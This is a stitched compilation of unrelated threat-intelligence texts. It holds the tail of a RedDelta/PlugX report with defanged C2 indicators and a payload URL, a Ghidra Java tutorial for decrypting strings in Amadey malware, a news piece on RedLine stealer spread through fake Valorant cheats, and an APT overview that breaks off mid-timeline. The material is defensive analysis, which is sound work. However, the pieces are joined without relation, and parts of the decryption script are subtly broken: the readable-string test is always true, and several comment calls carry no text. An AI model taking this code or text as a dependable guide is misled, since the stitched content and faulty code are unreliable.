method identified above. In this case, the same WINWORD.exe executable is used to load another malicious wwlib.dll file. The sample then contacts http://103.85.24[.]190/qum.dat to retrieve the XOR-encoded Windows executable file, qum.dat. ## Network Defense Recommendations Our research uncovered a suspected China state-sponsored campaign targeting multiple high-profile entities associated with the Catholic Church ahead of the likely renewal of the provisional China-Vatican deal in September 2020. Recorded Future recommends that users conduct the following measures to detect and mitigate activity associated with RedDelta activity: - Configure your intrusion detection systems (IDS), intrusion prevention systems (IPS), or any network defense mechanisms in place to alert on and consider blocking illicit connection attempts from the external IP addresses and domains listed in the appendix. - Keep all software and applications up to date; in particular, operating systems, antivirus software, and core system utilities. - Filter email correspondence and scrutinize attachments for malware. - Make regular backups of your system and store the backups offline, preferably offsite so that data cannot be accessed via the network. - Have a well-thought-out incident response and communications plan. - Adhere to strict compartmentalization of company-sensitive data. - Employ host-based controls; one of the best defenses and warning signals to thwart attacks is to conduct client-based host logging and intrusion detection capabilities. ### Appendix A — Indicators of Compromise **Command and Control Infrastructure** | Domain | IP Address | First Seen | Last Seen | Description | |---------------------------|-------------------|--------------|--------------|--------------| | ipsoftwarelabs[.]com | 85.209.43[.]21 | 2019-11-08 | * | PlugX C2 | | cabsecnow[.]com | 167.88.180[.]32 | 2020-07-14 | * | PlugX C2 | | cabsecnow[.]com | 103.85.24[.]136 | 2020-06-10 | 2020-07-14 | PlugX C2 | | cabsecnow[.]com | 167.88.180[.]5 | 2019-10-26 | 2020-06-10 | PlugX C2 | | cabsecnow[.]com | 167.88.177[.]224 | 2019-09-18 | 2019-10-19 | PlugX C2 | | lameers[.]com | 167.88.180[.]32 | 2020-02-14 | * | PlugX C2 | | systeminfor[.]com | 103.85.24[.]136 | 2020-07-15 | * | PlugX C2 | | web.miscrosaft[.]com | 154.213.21[.]207 | 2020-04-27 | * | PIVY C2 | *Denotes that domain or server is still live at time of publication.
# Ghidra Script to Decrypt Strings in Amadey 1.09 This article will cover the string encryption in Amadey 1.09 and provide a step-by-step guide to create an automatic string decryption script in Java. ## The Sample This sample is taken from KrabsOnSecurity's blog from February 2019. The specific sample is the unpacked stage, as described in the blog. The sample can be downloaded from VirusBay, Malware Bazaar, or MalShare. The hashes are given below. - MD5: dbaaa2699c639f652117e9176fd27fdf - SHA-1: 3e4cd703deef2cfd1726095987766e2f062e9c57 - SHA-256: 654b53b4ef5b98b574f7478ad11192275178ca651d9e8496070651cd6f72656a - Size: 51396 bytes Additionally, snippets from this blog by Lars A. Wallenborn and Jesko H. Hüttenhain about a Ghidra script to automatically decrypt strings in REvil samples are used. Within the code, credit to Lars' and Jesko's work and websites is given whenever it is used. ## Scripting Basics Scripting in Ghidra can be done using Python and Java. Python scripts are executed with the help of Jython. As such, the native way of scripting in Ghidra is with Java. Therefore, this is also what will be used in this article. In the official repository’s DevGuide, guidance is given with regards to configuring Ghidra with Eclipse. This is useful to develop Java-based scripts in a proper IDE, with the option to debug the script. Once the environment is set up, one will see that every script extends the GhidraScript class. This class forces the script to implement the run method, which is the starting point of the script’s code. Due to the inheritance of the GhidraScript class, the user has access to the FlatProgramAPI. Functions might be added to this class, but never removed. Or, as the NSA explains in the accompanied JavaDoc: > This class is a flattened version of the Program API. **NOTE:** 1. NO METHODS SHOULD EVER BE REMOVED FROM THIS CLASS. 2. NO METHOD SIGNATURES SHOULD EVER BE CHANGED IN THIS CLASS. This class is used by GhidraScript. Changing this class will break user scripts. That is bad. Don't do that. Using Eclipse’s built-in auto-completion and JavaDoc viewer, it's easy to view all functions that are directly accessible from the GhidraScript class. Alternatively, or additionally, one can read the publicly available JavaDoc on the NSA’s website. As specified in the GhidraScript class, there are several variables that one can access within a script, without the need to initialize them. An excerpt of the Ghidra documentation is given below. All scripts, when run, will be handed the current state in the form of class instance variables. These variables are: - `currentProgram`: the active program - `currentAddress`: the address of the current cursor location in the tool - `currentLocation`: the program location of the current cursor location in the tool, or null if no program location exists - `currentSelection`: the current selection in the tool, or null if no selection exists - `currentHighlight`: the current highlight in the tool, or null if no highlight exists Knowing the basics of scripting before starting to write code will result in a more efficient use of your time, as well as cleaner code. ## Outline The goal of the script is to automatically decrypt the encrypted strings that are present within the binary. As such, it is essential to be able to decrypt the strings. For this reason, it is the first step in this article. After that, it is important to get the required information from the user. What that is precisely will follow logically from the decryption routine. Knowing how to decrypt the strings is only part of the job, as one will also need to find all references to the decryption function call and its argument(s). Knowing the arguments for each call, and the decryption routine itself, will allow the script to decrypt all strings. Knowing how to add comments to the disassembly and decompiler view will show the result in an organized fashion to the analyst. Before putting all the pieces together, a method to cache decrypted strings will be introduced. This will reduce the time the script needs to run if the same string is encountered multiple times. In this article, a Ghidra build from the 21st of December 2020 (which has a few more commits than Ghidra 9.2.1) is used. Due to the usage of the FlatProgramAPI, it should run on future versions and is likely to run on older versions. ## Finding the Decryption Routine After loading this sample in Ghidra and running the default analyzers, it becomes apparent that the sample’s symbols were not stripped during the compilation. As such, it becomes easy to find the main function, as given below. Note that the function is called `_main`. ```c int __cdecl _main(int _Argc,char **_Argv,char **_Env) { char *pcVar1; size_t in_stack_fffffff0; __alloca(in_stack_fffffff0); ___main(); __Z10aBypassUACv(); pcVar1 = __Z12aGetSelfPathv(); __Z13aDropToSystemPc(pcVar1); pcVar1 = __Z19aGetSelfDestinationi(0); __Z11aAutoRunSetPc(pcVar1); __Z6aBasici(0); return 0; } ``` The mangled names provide insight into what the functions do. These symbols can be misleading and should not always be trusted as-is, but the symbols in this sample are representative of the functionality that is within the functions. The `___main` function, note the triple underscore, does not contain code that was made by the author. Searching for encrypted strings can be done in a variety of ways. One can use the Defined Strings view (as found in the Window toolstrip menu), browse through the function tree to look for a name that is likely to handle encrypted strings (which is `__Z8aDecryptPc`), or click through the functions until one encounters a function call that seems to decrypt a string (as can be seen in `__Z6aBasici`). The decryption routine is given below. ```c undefined * __cdecl __Z8aDecryptPc(char *param_1) { size_t sVar1; uint local_10; _memset(&_ZZ8aDecryptPcE14aDecryptResult,0,0x400); local_10 = 0; while( true ) { sVar1 = _strlen(param_1); if (sVar1 <= local_10) break; sVar1 = _strlen(s_1ee76e11929a07445c5abd744aa407db_00405000); (&_ZZ8aDecryptPcE14aDecryptResult)[local_10] = param_1[local_10] - s_1ee76e11929a07445c5abd744aa407db_00405000[local_10 % sVar1]; local_10 = local_10 + 1; } return &_ZZ8aDecryptPcE14aDecryptResult; } ``` At first, two variables are declared, after which the memory buffer for the output is set. The variable `local_10` is incremented with one at the end of every iteration in the while loop. Only when the length of the input is equal to or bigger than the amount of iterations that have taken place, the endless loop breaks. At last, the result is returned. The decryption itself is based on the used key, together with the iterative value. Refactoring the method with more readable names, the function becomes easily readable. ```c undefined * __cdecl __Z8aDecryptPc(char *input) { size_t inputLength; uint i; _memset(&result,0,0x400); i = 0; while( true ) { inputLength = _strlen(input); if (inputLength <= i) break; inputLength = _strlen(key); (&result)[i] = input[i] - key[i % inputLength]; i = i + 1; } return &result; } ``` In conclusion, this function requires one argument, which is decrypted using a hardcoded key, after which the decrypted value is returned. ## Remaking the Decryption Routine As the Ghidra script is to be written in Java, the decryption routine is also to be written in Java. The ported function will take two arguments, rather than one. The first one is the input, which is the string to decrypt. As memory is read from the sample, the type of this variable is a byte array. The second argument is the decryption key, which is represented as a string. The ported function is more readable than the decompiled code, as can be seen below. ```java private String decrypt(byte[] input, String key) { char[] keyArray = key.toCharArray(); int keyLength = keyArray.length; byte[] output = new byte[input.length]; for (int i = 0; i < input.length; i++) { output[i] = (byte) (input[i] - keyArray[i % keyLength]); } return new String(output); } ``` ## Getting User Input Getting information from the user is a useful way to make a script more generic. If a specific malware family uses the same decryption routine with a different key per sample, one can request the key from the user, without the need to alter the decryption script. In Ghidra, one can request values from the user using the `ask*` functions, where the asterisk should be read as a wildcard, as there are many functions present to help. Aside from the added convenience of not having to write such a function, it is important to note that a user cannot provide an empty string to this dialog. The requested string cannot be null either, as closing the dialog will lead to the termination of the script, which is clearly shown to the user in Ghidra’s console. To print data to the console, one can use the built-in `println` and `print` functions. The difference is that the latter does not print the script name into the console. In this case, the `askString` function is used to request a string from the user. Within the script, two values will be required: the name of the decryption function and the key that is used to decrypt the encrypted input. ## Getting All Cross References for the Decryption Function The decryption function’s name is obtained earlier on in the script, as the user provides the name. Based on that, one can get a list of functions that use this name. As symbol names do not have to be unique in Ghidra, it is possible that there are more functions with the same name. The code to obtain such a list is given below. ```java List<Function> functions = getGlobalFunctions(functionName); ``` Basic sanity checks to see if there are more functions with the given name can be implemented. The `ReferenceIterator` class is present in the `currentProgram` variable, which is already initialized. Using the `getReferencesTo` function, one can use an `Address` object to get all references to that address. To convert a raw address, which is represented as a Long, to an Address object, one can use the `toAddr` function. This function is accessible via the extended GhidraScript class. ```java ReferenceIterator references = currentProgram.getReferenceManager().getReferencesTo(toAddr(decryptionFunctionAddress)); ``` To iterate over all references, one can use a simple for-loop, as is shown below. ```java for (Reference reference : references) { Address address = reference.getFromAddress(); //... } ``` This for-loop is the basis for the following steps, as these have to be done per reference. ## Iterating All Decryption Calls This part of the script is based upon two steps. The first one is being able to decrypt a given string, which is possible due to the decryption method that was written in an earlier step. The second step is to obtain the encrypted string for each function call. To do so, one can use code from the earlier mentioned blog by Lars A. Wallenborn and Jesko H. Hüttenhain. The function named `getConstantCallArgument` is used. This function requires two arguments, the first being an `Address` object, and the second is an integer array. The `Address` object is the address of the function call. The integer array is used to obtain one or more arguments of the given function’s call. The indices of the arguments in this array correspond with the arguments for the function call, where the first index is 1, unlike the usual 0 in an array. The function is given below. ```java private OptionalLong[] getConstantCallArgument(Address addr, int[] argumentIndices) throws IllegalStateException, IllegalArgumentException { int argumentPos = 0; OptionalLong argumentValues[] = new OptionalLong[argumentIndices.length]; Function caller = getFunctionBefore(addr); if (caller == null) throw new IllegalStateException(); DecompInterface decompInterface = new DecompInterface(); decompInterface.openProgram(currentProgram); DecompileResults decompileResults = decompInterface.decompileFunction(caller, 120, monitor); if (!decompileResults.decompileCompleted()) throw new IllegalStateException(); HighFunction highFunction = decompileResults.getHighFunction(); Iterator<PcodeOpAST> pCodes = highFunction.getPcodeOps(addr); while (pCodes.hasNext()) { PcodeOpAST instruction = pCodes.next(); if (instruction.getOpcode() == PcodeOp.CALL) { for (int index : argumentIndices) { argumentValues[argumentPos] = traceVarnodeValue(instruction.getInput(index)); argumentPos++; } } } return argumentValues; } ``` This function returns an array of `OptionalLong` objects. Such an object can contain a Long, although it might not. In some cases, there might occur an error whilst retrieving the address, meaning that the object itself is actually set to null. To avoid returning null, the `OptionalLong` object is used. Within the function, the decompiler interface is used to get access to the PCode values. For each call, the Varnode’s value is traced using `traceVarnodeValue`, which is also written by Lars A. Wallenborn and Jesko H. Hüttenhain. The code is given below. ```java private OptionalLong traceVarnodeValue(Varnode argument) throws IllegalArgumentException { while (!argument.isConstant()) { PcodeOp ins = argument.getDef(); if (ins == null) break; switch (ins.getOpcode()) { case PcodeOp.CAST: case PcodeOp.COPY: argument = ins.getInput(0); break; case PcodeOp.PTRSUB: case PcodeOp.PTRADD: argument = ins.getInput(1); break; case PcodeOp.INT_MULT: case PcodeOp.MULTIEQUAL: return OptionalLong.empty(); default: throw new IllegalArgumentException(String.format("Unknown opcode %s for variable copy at %08X", ins.getMnemonic(), argument.getAddress().getOffset())); } } return OptionalLong.of(argument.getOffset()); } ``` Within the decryption routine in Amadey 1.09, only a single argument is used. This argument points to an encrypted value of a string. As such, the index one wants to retrieve is the only equal to one, meaning an integer array with the value 1 at index 0 is required as input. The address for the function is the address of each referenced function call of the decryption routine. The integer array is given below. ```java int[] argumentIndices = { 1 }; ``` One can get the Long value from the `OptionalLong` object by using the `getAsLong` function, as can be seen in the code below. ```java Long argument = arguments[0].getAsLong(); ``` Right now, all information to decrypt a string has been obtained, as the address of the encrypted string, the decryption key, and the decryption routine have been collected. The `getDecryptedArgument` function contains all code to decrypt an argument, which is then returned as a string. The code for the function is given below. ```java private String getDecryptedArgument(Long argument, String key) throws MemoryAccessException { MemoryBlock block = getMemoryBlock(toAddr(argument)); int size = ((Long) block.getSize()).intValue(); byte[] input = getBytes(toAddr(argument), size); String decryptedValue = decrypt(input, key); decryptedValue = decryptedValue.replace("\n", "\\n").replace("\r", "\\r"); return getFirstReadableString(decryptedValue); } ``` At first, a memory block is read, based on the address of the given argument. The `getMemoryBlock` function is accessible via the GhidraScript class. The size of the block is stored in a different variable to increase the readability of the code. The `getBytes` function, also accessible via the GhidraScript class, gets the bytes from the given argument’s location until the location plus the given size. The `decryptedValue` string contains the decrypted string. If any newline and carriage return values are present in that string, they are escaped using the chained replace function calls. The input that was provided to the decryption function is much bigger than the actual string. As such, the first human-readable string has to be recovered, which is done using the `getFirstReadableString` method. This method requires a string as input and will return the first human-readable string. ```java private String getFirstReadableString(String input) { int beginIndex = -1; int endIndex = -1; int asciiLow = 0; int asciiHigh = 255; for (int i = 0; i < input.toCharArray().length; i++) { char currentChar = input.charAt(i); if (currentChar < asciiHigh || currentChar > asciiLow) { beginIndex = i; break; } } for (int i = 0; i < input.toCharArray().length; i++) { char currentChar = input.charAt(i); if (currentChar > asciiHigh || currentChar < asciiLow) { endIndex = i; break; } } if (beginIndex >= 0 && endIndex >= 0) { return input.substring(beginIndex, endIndex); } return "NO_ASCII_STRING_FOUND"; } ``` This function declares four local integers, named `beginIndex`, `endIndex`, `asciiLow`, and `asciiHigh`. The first two are set to -1, whereas the last two are set to 0 and 255 respectively. The `beginIndex` and `endIndex` are used to store the beginning and ending indices of the first human-readable string, whereas the latter two variables are hardcoded to define the beginning and ending of the human-readable range of ASCII characters. Wide strings are out of scope for this function, as they are not used within this sample. The given string is iterated over twice: once for the first character, and once for the last character. Whilst this can be done in a single loop, this would decrease the code’s readability. As this function is rather rudimentary at best, the code’s optimization has not been included in this article. The return value of this function is a substring of the provided input. If none of the characters are readable, then a default value is returned. This default value is never returned in the used sample. ## Caching the Decrypted Results Even though some optimization steps were left out in the previous step, this step is purely meant as an optimization. Caching results is a useful way to easily decrease the time that the script takes, without adding a needless complex layer of logic into the code. At first, a mapping is created. Mappings are often known as dictionaries in other languages. In this case, the mapping will use addresses (as a Long) as a key, where the value at a given key is a String. The mapping’s keys are the locations of the encrypted variables, whereas the mapping’s values are decrypted strings. The creation of the mapping is given below. ```java Map<Long, String> handled = new HashMap<>(); ``` When iterating over the argument locations, the following if-statement is required to implement the caching of decrypted values. ```java if (handled.containsKey(argument)) { //... } else { //... } ``` As such, it checks if the given address is already present in the mapping. If it is, the value for the given key should be used. Otherwise, it can go through the normal decryption process and add the outcome to the given mapping. The lookup in the mapping is much quicker than the decryption routine, thereby saving several seconds in a small sample such as this. In testing on my local machine, the script’s runtime went down from 22 seconds to 16 seconds. Slower computers might benefit more from the caching, whereas faster computers might benefit less. ## Adding Comments and Bookmarks Once the decrypted values have been obtained, they need to be handed back to the user. This is done in multiple ways. One can add comments (both to the disassembly and decompiler views), bookmarks, and print the results in the output window. In the code below, both comment methods, as well as the bookmark creation, have been listed. Do note that existing bookmarks for a specific address will be overwritten with the `createBookmark` function. ```java // Decompiler comment currentProgram.getListing().getCodeUnitAt(toAddr(argument)).setComment(CodeUnit.PLATE_COMMENT); // Disassembly comment currentProgram.getListing().getCodeUnitAt(toAddr(argument)).setComment(CodeUnit.PRE_COMMENT); // Bookmark creation createBookmark(toAddr(argument), "Decrypted string", "The variable named " + getSymbolAt(toAddr(argument)) + " is equal to \"" + decryptedValue + "\""); ``` ## Putting It All Together The complete script is given below. It contains a few more sanity checks, the most notable being the user feedback when providing details, and the check if there is only a single function with the provided name. When running the script, the following output is observed at the end, aside from the list of decrypted values in Ghidra’s console: > Decrypted 47 strings (using 11 cached strings), placed 210 comments, and created 47 bookmarks in 16 seconds! To show the difference in the decompiled code, two excerpts are given. The first excerpt is the decompiler output in Ghidra prior to running the string decryption script. ```c pcVar2 = __Z8aDecryptPc(&_aAV00); bVar1 = __Z7aPathAVPc(pcVar2); uVar3 = bVar1 != false; pcVar2 = __Z8aDecryptPc(&_aAV01); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 2; } pcVar2 = __Z8aDecryptPc(&_aAV02); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 3; } pcVar2 = __Z8aDecryptPc(&_aAV03); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 4; } pcVar2 = __Z8aDecryptPc(&_aAV04); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 5; } ``` The second one contains the comments that have been added by the script. ```c /* Decrypted value: "AVAST Software" */ pcVar2 = __Z8aDecryptPc(&_aAV00); bVar1 = __Z7aPathAVPc(pcVar2); uVar3 = bVar1 != false; /* Decrypted value: "Avira" */ pcVar2 = __Z8aDecryptPc(&_aAV01); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 2; } /* Decrypted value: "Kaspersky Lab" */ pcVar2 = __Z8aDecryptPc(&_aAV02); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 3; } /* Decrypted value: "ESET" */ pcVar2 = __Z8aDecryptPc(&_aAV03); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 4; } /* Decrypted value: "Panda Security" */ pcVar2 = __Z8aDecryptPc(&_aAV04); bVar1 = __Z7aPathAVPc(pcVar2); if (bVar1 != false) { uVar3 = 5; } ``` The decompiled code becomes easily readable, especially with the included symbols. This allows the analyst to quickly analyze the malware’s functionality. ## Conclusion Scripting will greatly reduce the amount of time that an analyst needs to spend when looking at a repetitive task. Understanding the basics of Ghidra’s architecture will greatly reduce the amount of time an analyst needs to write such a script. By creating a heavily documented script, it becomes reusable for similar tasks in other samples. As such, each new script will make future work easier. Note that not all parts of the script in this article are required, more specifically the caching part. Even though it does save some time in this script, the overhead that it requires to write the code is longer than the time that is saved with it. When looking at a sample that has a really heavy decryption routine, and/or a lot of encrypted strings, the overhead might be worth it. This trade-off is up to the analyst to decide, and is also depending on the goal of the analyst. Learning how to write such a script might involve more work that is not necessarily the most efficient for a given sample, but has a positive influence on the analyst’s future scripting abilities. ## The Complete Script The complete script is given below. It can be added as a file to any working `ghidra_script` directory, or one can use the simple editor within Ghidra to create a new script and paste this script in it. ```java // This script is used to annotate function calls to decrypt strings with the decrypted string. The decryption routine and key are taken from an Amadey sample (MD5: dbaaa2699c639f652117e9176fd27fdf). One can easily modify the code to make it suitable for other families or decryption routines. // @author Max 'Libra' Kersten // @category String decryption // @keybinding // @menupath // @toolbar import java.time.Duration; import java.time.Instant; import java.util.HashMap; import java.util.Iterator; import java.util.List; import java.util.Map; import java.util.OptionalLong; import ghidra.app.decompiler.DecompInterface; import ghidra.app.decompiler.DecompileResults; import ghidra.app.script.GhidraScript; import ghidra.program.model.address.Address; import ghidra.program.model.listing.CodeUnit; import ghidra.program.model.listing.Function; import ghidra.program.model.mem.MemoryAccessException; import ghidra.program.model.mem.MemoryBlock; import ghidra.program.model.pcode.HighFunction; import ghidra.program.model.pcode.PcodeOp; import ghidra.program.model.pcode.PcodeOpAST; import ghidra.program.model.pcode.Varnode; import ghidra.program.model.symbol.Reference; import ghidra.program.model.symbol.ReferenceIterator; public class Amadey extends GhidraScript { private int decryptionCount; private int commentCount; private int bookmarkCount; private int cacheCount; public void run() throws Exception { decryptionCount = 0; commentCount = 0; bookmarkCount = 0; cacheCount = 0; String functionName = askString("Function name required", "Please provide the name of the function that decrypts the strings:"); println("Received function name: " + functionName); String key = askString("Decryption key required", "Please provide the name of the function that is used during the string decryption:"); println("Received decryption key: " + key); List<Function> functions = getGlobalFunctions(functionName); if (functions.size() == 1) { Function function = functions.get(0); long decryptionFunctionAddress = function.getBody().getMinAddress().getOffset(); println("Decryption function (" + function.getName() + " found at 0x" + Long.toHexString(decryptionFunctionAddress) + ")"); println("-------------------------------------------------------------"); Instant begin = Instant.now(); handle(decryptionFunctionAddress, key); Instant end = Instant.now(); Duration duration = Duration.between(begin, end); println("-------------------------------------------------------------"); println("Decrypted " + decryptionCount + " strings (using " + cacheCount + " cached strings), placed " + commentCount + " comments, and created " + bookmarkCount + " bookmarks in " + duration.toSeconds() + " seconds!"); println("If you have any questions or suggestions, feel free to ping me on Twitter: @Libranalysis"); } else if (functions.size() == 0) { println("No functions were found for the given name, please make sure the name is correct and try again."); } else if (functions.size() >= 2) { println("More than one function with this name has been found. Ensure that the name is unique and try again."); } } private void handle(long decryptionFunctionAddress, String key) { Map<Long, String> handled = new HashMap<>(); ReferenceIterator references = currentProgram.getReferenceManager().getReferencesTo(toAddr(decryptionFunctionAddress)); for (Reference reference : references) { Address address = reference.getFromAddress(); int[] argumentIndices = { 1 }; try { OptionalLong[] arguments = getConstantCallArgument(address, argumentIndices); Long argument = arguments[0].getAsLong(); String decryptedValue = ""; String comment = ""; if (handled.containsKey(argument)) { decryptedValue = handled.get(argument); comment = "Decrypted value (from cache): \"" + decryptedValue + "\""; cacheCount++; } else { decryptedValue = getDecryptedArgument(argument, key); comment = "Decrypted value: \"" + decryptedValue + "\""; currentProgram.getListing().getCodeUnitAt(toAddr(argument)).setComment(CodeUnit.PLATE_COMMENT); currentProgram.getListing().getCodeUnitAt(toAddr(argument)).setComment(CodeUnit.PRE_COMMENT); commentCount += 2; createBookmark(toAddr(argument), "Decrypted string", "The variable named " + getSymbolAt(toAddr(argument)) + " is equal to \"" + decryptedValue + "\""); bookmarkCount++; handled.put(argument, decryptedValue); } println(comment + " (located at 0x" + Long.toHexString(argument) + " )"); currentProgram.getListing().getCodeUnitAt(reference.getFromAddress()).setComment(CodeUnit.PLATE_COMMENT); currentProgram.getListing().getCodeUnitAt(reference.getFromAddress()).setComment(CodeUnit.PRE_COMMENT); commentCount += 2; } catch (Exception ex) { println(ex.getMessage()); } } } private String getDecryptedArgument(Long argument, String key) throws MemoryAccessException { MemoryBlock block = getMemoryBlock(toAddr(argument)); int size = ((Long) block.getSize()).intValue(); byte[] input = getBytes(toAddr(argument), size); String decryptedValue = decrypt(input, key); decryptedValue = decryptedValue.replace("\n", "\\n").replace("\r", "\\r"); return getFirstReadableString(decryptedValue); } private String getFirstReadableString(String input) { int beginIndex = -1; int endIndex = -1; int asciiLow = 0; int asciiHigh = 255; for (int i = 0; i < input.toCharArray().length; i++) { char currentChar = input.charAt(i); if (currentChar < asciiHigh || currentChar > asciiLow) { beginIndex = i; break; } } for (int i = 0; i < input.toCharArray().length; i++) { char currentChar = input.charAt(i); if (currentChar > asciiHigh || currentChar < asciiLow) { endIndex = i; break; } } if (beginIndex >= 0 && endIndex >= 0) { return input.substring(beginIndex, endIndex); } return "NO_ASCII_STRING_FOUND"; } private String decrypt(byte[] input, String key) { char[] keyArray = key.toCharArray(); int keyLength = keyArray.length; byte[] output = new byte[input.length]; for (int i = 0; i < input.length; i++) { output[i] = (byte) (input[i] - keyArray[i % keyLength]); } decryptionCount++; return new String(output); } private OptionalLong[] getConstantCallArgument(Address addr, int[] argumentIndices) throws IllegalStateException, IllegalArgumentException { int argumentPos = 0; OptionalLong argumentValues[] = new OptionalLong[argumentIndices.length]; Function caller = getFunctionBefore(addr); if (caller == null) throw new IllegalStateException(); DecompInterface decompInterface = new DecompInterface(); decompInterface.openProgram(currentProgram); DecompileResults decompileResults = decompInterface.decompileFunction(caller, 120, monitor); if (!decompileResults.decompileCompleted()) throw new IllegalStateException(); HighFunction highFunction = decompileResults.getHighFunction(); Iterator<PcodeOpAST> pCodes = highFunction.getPcodeOps(addr); while (pCodes.hasNext()) { PcodeOpAST instruction = pCodes.next(); if (instruction.getOpcode() == PcodeOp.CALL) { for (int index : argumentIndices) { argumentValues[argumentPos] = traceVarnodeValue(instruction.getInput(index)); argumentPos++; } } } return argumentValues; } private OptionalLong traceVarnodeValue(Varnode argument) throws IllegalArgumentException { while (!argument.isConstant()) { PcodeOp ins = argument.getDef(); if (ins == null) break; switch (ins.getOpcode()) { case PcodeOp.CAST: case PcodeOp.COPY: argument = ins.getInput(0); break; case PcodeOp.PTRSUB: case PcodeOp.PTRADD: argument = ins.getInput(1); break; case PcodeOp.INT_MULT: case PcodeOp.MULTIEQUAL: return OptionalLong.empty(); default: throw new IllegalArgumentException(String.format("Unknown opcode %s for variable copy at %08X", ins.getMnemonic(), argument.getAddress().getOffset())); } } return OptionalLong.of(argument.getOffset()); } } ```
# Fake Valorant Cheats on YouTube Infect You with RedLine Stealer Korean security analysts have spotted a malware distribution campaign that uses Valorant cheat lures on YouTube to trick players into downloading RedLine, a powerful information stealer. This type of abuse is quite common, as the threat actors find it easy to bypass YouTube's new content submission reviews or create new accounts when reported and blocked. The campaign spotted by ASEC targets the gaming community of Valorant, a free first-person shooter for Windows, offering a link to download an auto-aiming bot in the video description. These cheats are allegedly add-ons installed in the game to help players aim at enemies with speed and precision, winning headshots without demonstrating any skill. Auto-aiming bots are highly sought-after for popular multiplayer games like Valorant because they allow effortless ranking progression. ## Dropping Redline Users who attempt to download the file in the video's description will be taken to an anonfiles page from where they'll get a RAR archive that contains an executable named "Cheat installer.exe". This file is, in reality, a copy of RedLine stealer, one of the most widely deployed password-stealing malware infections that snatch the following data from infected systems: - **Basic information**: Computer name, user name, IP address, Windows version, system information (CPU, GPU, RAM, etc.), and list of processes - **Web browsers**: Passwords, credit card numbers, AutoFill forms, bookmarks, and cookies from Chrome, Chrome-based browsers, and Firefox - **Cryptocurrency wallets**: Armory, AtomicWallet, BitcoinCore, Bytecoin, DashCore, Electrum, Ethereum, LitecoinCore, Monero, Exodus, Zcash, and Jaxx - **VPN clients**: ProtonVPN, OpenVPN, and NordVPN - **Others**: FileZilla (host address, port number, user name, and passwords), Minecraft (account credentials, level, ranking), Steam (client session), Discord (token information) After collecting this information, RedLine neatly packs it in a ZIP archive named "().zip" and exfiltrates the files via a WebHook API POST request to a Discord server. ## Don't Trust Links in YouTube Videos Apart from the fact that cheating in video games takes the fun out of playing and ruins the game for others, it is always a potentially severe security risk. None of these cheat tools are authored by trustworthy entities, none are digitally signed (so AV warnings are bound to be ignored), and many are indeed malware. ASEC's report contains a recent example, but that's just a drop in the sea of malicious download links under YouTube videos that promote free software of various types. The videos that promote these tools are often stolen from elsewhere and are re-posted from malicious users on newly created channels to act as lures. Even if the comments below these videos praise the uploader and claim the tool works as promised, they should not be trusted as these can easily be faked.
# Advanced Persistent Threats: A Decade in Review ## Abstract This document defines the term Advanced Persistent Threat (APT) in the context of cyber threats and cyber attack. It presents a timeline and summary of prominent cyber attacks likely attributable to APTs over the past decade. Commonalities are identified and assessed in the context of the current cyber threat environment. Trends are used to predict future APT targeting. APT attack methodology is discussed, and, in conclusion, a set of security practices and policies are provided that could help many organisations increase their resilience to APT attack. ## Definition When the term Advanced Persistent Threat (APT) is used in the context of cyber threats (or cyber attack), each component of the term is relevant. Advanced Persistent Threats (APTs) are a well-resourced, highly capable and relentless class of hacker increasingly referred to in the media, by IT security companies, victims, and law enforcement. Most hackers target indiscriminately and instead of persisting with a particular target draw their focus to more vulnerable targets. APTs, on the other hand, are not only well-resourced and capable but persistent in their covert attempts to access sensitive information, such as intellectual property, negotiation strategies or political dynamite, from their chosen targets. The persistent nature of the threat makes it difficult to prevent access to your computer network and, once the threat actor has successfully gained access to your network, very difficult to remove. The sophistication of APT intrusion attempts varies and likely depends on the attacker’s objectives, the tools and techniques available to them, and the anticipated ability of their target both to detect and defend against an attack. The activity conducted by APTs is not necessarily sophisticated but the attacker has the ability to upgrade their capability to gain or maintain access to sensitive information stored electronically. The level of covertness employed may depend on factors such as the anticipated ability of the target to detect the activity, the anticipated response of the target often used to increase the effectiveness of exploits should the targeting be detected, and the level of risk the hacker is willing to accept. The term APT is commonly used in reference to the cyber threat posed by foreign intelligence services, or hackers working on behalf of such entities, but is not limited just to this and can equally be applied to other threat actors such as organised crime syndicates and those involved in traditional espionage. Even though some organised crime syndicates are very well resourced and capable, they are not usually classed as an APT since they are less likely to persist with attempted access to a particular target. The term is not usually used to refer to the threat posed by an individual hacker as they rarely have a sufficient level of resourcing. APTs often target unpublicised vulnerabilities in computer programs or operating systems using ‘zero day’ exploits. Typically only well-resourced hackers develop such exploits as they are expensive, time-consuming, and the vulnerabilities they target may be patched prior to deployment affecting the value of the investment. In addition, zero day exploits are exposed the first time they are used and, if detected, may be less effective in future attacks. As such, zero day exploits are usually only deployed when the hacker has determined that other exploits (that take advantage of publicly known vulnerabilities) will not work on the target, or are not expected to work within an acceptable timeframe. Increased use of a zero day exploit may also be observed if the hacker believes their exploit has been detected or the vulnerability it exposes has become known. This behaviour reflects a desire to maximise the return on their investment before the relevant vulnerability is patched. Zero day exploits are commonly used in combination with social engineering techniques, to exploit vulnerabilities in human nature and make the targeting more effective. ## Timeline of Significant Attacks Through examination of media reports and public announcements a timeline of significant cyber attacks likely attributable to APTs can be drawn. In several cases a single operation is named to refer to a set of similar intrusions, or intrusion attempts, affecting numerous targets. ### 1998-2000 – Moonlight Maze Cyber attacks dubbed ‘Moonlight Maze’ targeted computers at the Pentagon, NASA, the US Energy Department, research laboratories and private universities. The attackers successfully gained access to tens of thousands of files. ### August 2006-2007 – US Congressmen The office computer networks of two congressmen were reportedly compromised. Information is believed to have been stolen about dissidents critical of the Beijing regime. ### 29 October 2007 – Oak Ridge National Laboratory Oak Ridge National Laboratory was successfully targeted using emails that were socially engineered to appear as though they were legitimate official communications. Computers were compromised, as was a database which contained information about visitors to the facility. The hackers are believed to have stolen data from the database. ### 9 November 2007 – Los Alamos National Laboratory Los Alamos National Laboratory advised all employees of a recent malicious hacking event that affected a small number of computers on the laboratory’s unclassified ‘Yellow’ network. A significant amount of unclassified data was stolen. The attack is believed to have been part of a broader, coordinated attack against US laboratories and other institutions. ### Early 2008 – 